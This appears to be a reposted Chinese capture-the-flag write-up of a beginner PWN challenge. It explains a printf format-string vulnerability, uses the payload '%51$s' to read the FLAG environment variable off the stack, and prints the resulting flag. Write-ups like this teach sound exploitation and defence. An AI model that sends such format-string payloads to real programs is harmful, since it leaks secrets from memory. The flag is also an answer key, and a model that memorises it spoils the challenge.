byte &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; : 'sillybird left this terminal outside, years ago.'
byte &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; : 'No manual, no notes. He kept everything&nbsp;in&nbsp;the air.'
byte &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; : 'My rule is simpler than his: one line&nbsp;in, one line out.'
byte &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; : 'Take it. Breathe -- and bring that one sentence back.'
byte>

提示:读一行,原样打印。 Flag 不在文件里,而在进程环境里,变量名是 FLAG。

核心:正常字符串会被原样打出来。短字符串后面多出来的 …7f 是栈上残留字节:read 没写满缓冲区、也没保证结尾有 \0 时,printf 会一直读到下一个空字节,把后面的栈内容带出来。

printf&nbsp;的可变参数在 x86-64 上从栈上传。%p、%7$p&nbsp;这类格式符按序号取第 n 个参数:

格式 含义
%p 把下一个参数当指针打印
%7$p&nbsp;打印第 7 个参数的地址
%7$s&nbsp;把第 7 个参数当 char*,打印它指向的字符串
=== Pygmy Killer Whale Association --- The Air ===
byte &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; :&nbsp;'I am not from your Association. I just collect'
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;old machines -- somebody has to keep them alive.'
byte &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; : 'sillybird left this terminal outside, years ago.'
byte &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; : 'No manual, no notes. He kept everything&nbsp;in&nbsp;the air.'
byte &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; : 'My rule is simpler than his: one line&nbsp;in, one line out.'
byte &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; : 'Take it. Breathe -- and bring that one sentence back.'
byte> %51$s
FLAG=PKWCTF{db7e8414-4f9d-4fce-bffa-5ca837435515}


免责声明:

本文所载程序、技术方法仅面向合法合规的安全研究与教学场景,旨在提升网络安全防护能力,具有明确的技术研究属性。

任何单位或个人未经授权,将本文内容用于攻击、破坏等非法用途的,由此引发的全部法律责任、民事赔偿及连带责任,均由行为人独立承担,本站不承担任何连带责任。

本站内容均为技术交流与知识分享目的发布,若存在版权侵权或其他异议,请通过邮件联系处理,具体联系方式可点击页面上方的联系我。

本文转载自:玄网安全 opis opis《PKWCTF新生CRYPTO和PWN-“看看就好”》

    谈谈汽车嵌入式软件 网络安全文章

    谈谈汽车嵌入式软件

    文章总结: 本文介绍汽车嵌入式软件的定义、特点与分类,阐述其与非嵌入式软件的区别,并详细说明汽车嵌入式软件方向,包括软件架构、刷写、底层驱动、硬件抽象层、软件集
    评论:0   参与:  0